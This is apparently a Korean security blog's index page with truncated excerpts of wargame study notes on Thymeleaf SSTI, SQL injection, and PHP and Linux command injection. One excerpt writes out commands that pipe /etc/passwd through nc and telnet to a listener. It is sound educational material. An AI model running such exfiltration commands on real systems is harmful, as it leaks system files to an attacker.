background/web

    Spring View Manipulation (Thymeleaf SSTI)

    Spring View Manipulation (Thymeleaf SSTI)

    드림핵에서 spring-view를 풀었다. 자바로 만든 문제는 처음 풀어봤는데, 어디서 또 만날 수도 있으니 정리해본다. https://dreamhack.io/wargame/challenges/99 spring-viewspring으로 작성된 웹 서비스 입니다. 취약점을 이용해 플래그를 획득하세요.dreamhack.io 스프링 부트(spring boot)에서 뷰(view)를 위한 엔진으로 타임리프(Thymeleaf)를 주로 사용한다고 한다. (MVC 모델) 아래의 컨트롤러 코드를 보면 @GetMapping(path) 형식의 어노테이션을 사용한다. 유저의 path에 대한 HTTP 요청은 index 메서드를 통해 view를 렌더링 해주는 처리를 할 수 있다. 여기선 리턴 값이 "welcome"으로 고정되어 있..

    SQL Injection Tips

    워게임을 하면서 유용했던 팁들을 적어두는 글 SQL Injection은 사용자의 입력을 허락할 때 db의 중요 정보를 탈취하거나 로그인을 우회해 관리자의 권한으로 여러가지 조작이 가능한 공격이다. SQLI는 기본적으로 참과 거짓의 문제이다. 조건을 참으로 만들어줘야 한다. 방법은 여러 가지가 있는데 예를 들어 user 라는 테이블이 아래와 같다고 하자 id name pw 1 admin aaaaaaaaa 2 guest gggggggg select name from user where id = [사용자 입력 값] and pw = [사용자 입력 값]; 위 같은 문장이 주어지고 admin으로 로그인 하고자 할 때 id,pw을 알면 적어주면 되지만 모르는 경우엔 아래와 같이 해줄 수 있다. id 입력 란에 'ad..

    Command Injection for PHP

    PHP에 시스템 명령어를 실행하기 위한 system 함수가 있다. PHP에선 메타 문자를 통한 커맨드 인젝션을 방지하기 위해 escapeshellcmd 함수를 사용한다. 이는 메타 문자가 입력됐을 때 해당 문자 앞에 '\'를 삽입해 타 명령어를 실행할 수 없도록 한다. escapeshellcmd 함수에서 메타 문자를 활용한 커맨드 인젝션은 불가능하다. 그러나 특정 명령어의 인자로 입력값이 전달되는 경우 공격자는 실행하려는 명령어의 옵션을 조작할 수 있다. 명령어의 인자를 조작할 수 없도록 하려면 escapeshellarg 함수를 사용해야 한다. (escapeshellcmd 함수를 사용할 경우 메타 문자를 활용하지는 못하지만 명령어의 옵션 또는 인자를 조작할 수 있다) zip zip 명령어는 압축 파일을 ..

    Command Injection for Linux (2)

    Command Injection for Linux (2)

    드림핵 강의에서 입력 값의 길이가 제한된 환경에서 활용할 수 있는 방법을 알려준다. 아래 코드는 입력 길이가 제한된 상황에서 공격자의 서버와 연결을 맺는 방법이다. “/tmp” 디렉터리는 누구나 읽고 쓸 수 있는 권한이 존재하기 때문에 해당 위치에 “bash

    Command Injection for Linux (1)

    Command Injection for Linux (1)

    드림핵 강의에서 실행 결과를 확인할 수 없는 환경에서 활용할 수 있는 방법을 알려준다. Network Outbound nc (netcat) nc는 TCP 또는 UDP 프로토콜을 사용하는 네트워크에서 데이터를 송신하거나 수신하는 프로그램이다. 셸에서 제공하는 파이프('|')와 함께 해당 프로그램을 사용하면 앞서 실행한 명령어의 결과를 네트워크로 전송한다. cat /etc/passwd | nc 127.0.0.1 8000 telnet telnet은 네트워크 연결에 사용되는 프로토콜로 클라이언트를 설치해 네트워크에 연결을 시도할 수 있다. nc와 같이 파이프와 함께 명령어의 결과를 네트워크로 전송할 수 있다. cat /etc/passwd | telnet 127.0.0.1 8000 CURL / WGET curl과..